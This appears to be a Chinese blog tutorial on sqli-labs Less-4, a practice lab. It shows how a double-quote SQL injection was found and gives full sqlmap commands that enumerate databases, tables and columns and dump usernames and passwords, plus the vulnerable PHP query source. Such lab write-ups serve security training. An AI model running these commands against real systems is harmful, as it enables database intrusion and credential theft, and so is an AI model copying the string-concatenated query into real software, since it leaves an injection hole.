目录
类型
双引号注入
![](https://i-blog.csdnimg.cn/blog_migrate/c08dec0990673f59e1e7488fc94ecf4f.png)
猜测sql语句
select * from users where id = ("参数") LIMIT 0,1
-dbs枚举数据库
使用-o参数优化
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-4/?id=1" -dbs -o
![](https://i-blog.csdnimg.cn/blog_migrate/0e6076daa4c1ac154d93b32e02bd9a56.png)
我们已知是mysql数据库,在过程中有询问已发现是mysql,是否探测其他的DBMS,需要输入y/n,为了加快速度,以后的文章中将会使用--batch来跳过。
--tables枚举数据库表
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-4/?id=1" --dbms mysql -o -D security --tables
![](https://i-blog.csdnimg.cn/blog_migrate/20fdca142f341ab017c248c0a07662c4.png)
--columns枚举列
因为-o参数中的threads是3,这里使用--threads时应该大于3小于10(最大值),想了解更多sqlmap参数可查看文章末尾文章中的sqlmap学习笔记。
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-4/?id=1" --dbms mysql -o --threads=10 -D security -T users --columns
![](https://i-blog.csdnimg.cn/blog_migrate/4ac4dbf96d7d12251bf37af19114b23f.png)
--dump枚举数据
python sqlmap.py -u "192.168.172.128/sqli-labs_1/Less-4/?id=1" --dbms mysql -o --threads=10 -D security -T users -C username,password -dump
![](https://i-blog.csdnimg.cn/blog_migrate/19fadb4011118e11d5d248fa45f9c38a.png)
查看源代码
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
更多内容查看:网络安全-自学笔记
有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。